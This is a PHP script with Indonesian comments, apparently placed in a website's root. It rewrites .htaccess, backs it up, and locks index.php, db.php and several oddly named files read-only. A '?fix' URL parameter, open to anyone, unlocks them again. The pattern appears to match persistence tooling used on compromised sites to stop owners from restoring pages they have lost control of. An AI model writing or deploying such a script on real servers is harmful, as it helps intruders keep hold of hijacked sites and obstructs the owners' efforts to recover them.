/home/offerdet/jiospherebrowser.com/ch1.php
<?php
$baseDir = __DIR__;
$htaccess = $baseDir . '/.htaccess';
$indexFile = $baseDir . '/index.php';
$dbFile = $baseDir . '/db.php';
$backupDir = $baseDir . '/.backup';
$indexBackup = $backupDir . '/index.php.bak';
// Cek apakah pakai ?fix
$isFix = isset($_GET['fix']);
// Daftar file yang boleh diakses
$allowedFiles = ['index', 'acx', 'db', 'akcc', 'ch', 'default'];
// Isi htaccess baru (escape subdir untuk file whitelist)
$allowedPattern = implode('|', $allowedFiles);
$newHtaccess = <<<HTA
<IfModule mod_rewrite.c>
RewriteEngine On
# === Semua request lain diarahkan ke index.php (fallback) ===
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
HTA;
// Target file yang akan diubah permission-nya
$targetFiles = [
$htaccess,
$baseDir . '/index.php',
$baseDir . '/db.php',
$baseDir . '/autoload_classmap.php',
$baseDir . '/akcc.php',
$baseDir . '/default.php'
];
// Fungsi untuk mengubah izin file/folder
function ubahIzin($path, $izin) {
if (!file_exists($path)) {
echo "🟡 Target tidak ditemukan: $path\n";
return false;
}
if (chmod($path, $izin)) {
echo "✔️ Permission $path diubah ke " . decoct($izin) . "\n";
return true;
}
echo "❌ Gagal mengubah permission: $path\n";
return false;
}
// === MAIN LOGIC ===
if ($isFix) {
echo "🔧 Mode FIX diaktifkan: membuka kunci permissions...\n";
foreach ($targetFiles as $file) {
ubahIzin($file, 0755);
}
ubahIzin($baseDir, 0755);
echo "✅ Semua izin diubah ke writable.\n";
} else {
echo "🔒 Mode default: kunci folder & file...\n";
foreach ($targetFiles as $file) {
ubahIzin($file, 0755);
}
if (file_exists($htaccess)) {
$timestamp = date('Ymd_His');
$backupPath = $htaccess . '.bak_' . $timestamp;
if (copy($htaccess, $backupPath)) {
echo "📦 Backup .htaccess disimpan di: $backupPath\n";
} else {
echo "⚠️ Gagal membuat backup .htaccess.\n";
}
}
$fp = fopen($htaccess, 'w');
if ($fp) {
if (fwrite($fp, $newHtaccess) !== false) {
echo "✅ Berhasil menulis ke .htaccess.\n";
} else {
echo "❌ Gagal menulis file .htaccess.\n";
}
fclose($fp);
} else {
echo "❌ Tidak bisa membuka file .htaccess untuk menulis.\n";
}
foreach ($targetFiles as $file) {
ubahIzin($file, 0444);
}
## ubahIzin($baseDir, 0555);
echo "🎉 Proses selesai. Folder dikunci read-only.\n";
}